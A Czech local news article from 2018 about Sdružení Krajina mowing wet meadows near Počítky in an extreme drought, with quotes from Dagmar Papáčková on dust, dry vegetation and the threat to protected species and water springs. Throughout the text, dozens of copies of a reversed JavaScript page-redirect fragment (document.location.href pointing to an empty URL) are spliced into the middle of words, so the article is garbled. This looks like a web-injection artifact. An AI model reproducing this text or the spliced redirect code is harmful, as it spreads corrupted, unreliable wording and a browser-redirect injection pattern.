Rainbow page separator

Z podmáčených luk mizí voda, sekáči bojují s vedrem a prachem

Neděle, 26. srpna 2018

Počítky / Přibližně 115 hektarů podmáčených luk už le[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tos stihli pokosit pracovníci Sdružení Krajina z Počítek společně s brigádníky, drobnými živnostníky i dobrovolníky; sekají již třetím měsícem. Jako každý rok je třeba ty[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to vzácné a chráněné louky poséct, pohrabat a trávu z nich vyvézt mimo lokalitu. Le[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tošní extrémní vedra ale sužují louky i sekáče. „Zatímco v minulých letech jsme řešili, jak si nenabrat do holinek, hitem le[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tošního léta je nadměrné sucho a s ním spojená prašnost. K [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tomu se nám do obličeje a vlastně celého těla zapichuje na troud suchý rašeliník a pichlavé kusy vyschlé trávy. Člověk by se udrbal k smrti,“ popsala le[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tošní sečení podmáčených luk Dagmar Papáčková ze Sdružení Krajina.
Lidé ze sdružení doufají, že se voda do krajiny opět vrátí, neboť vyschnutí unikátních vlhkých luk by mělo za následek změnu druhového složení a vyhynutí vzácných a chráněných druhů rostlin a živočichů, jejichž stav se snaží léta zachovat. „Mnohé z těch[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to luk jsou zároveň prameništěm, které sytí vodou široké okolí. Řada obcí využívá jeho zdrojů pro pitnou vodu. Co by se dělo, kdyby ta[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to místa opravdu vyschla, nechceme ani domýšlet,“ sdělila Papáčková.
V relativně lepším stavu se le[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tos zdají být luční společenstva rostlin v nivách nezregulovaných po[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toků a řek. Například v lokalitě Staviště u Žďáru nad Sázavou, která se kosila začátkem července, znovu narostla poměrně vysoká tráva. „To se ale o mnoha dalších místech říci nedá. Čas[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to nejsou vidět ani měsíční rozestupy mezi dvěma sečemi v jedné lokalitě, trávy je obecně málo. Nicméně zatímco v minulých letech jsme řešili, kam s pokosenou travní hmo[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tou, le[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tos se nám daří spoustu trávy usušit a dále zpracovat,“ dodala Dagmar Papáčková.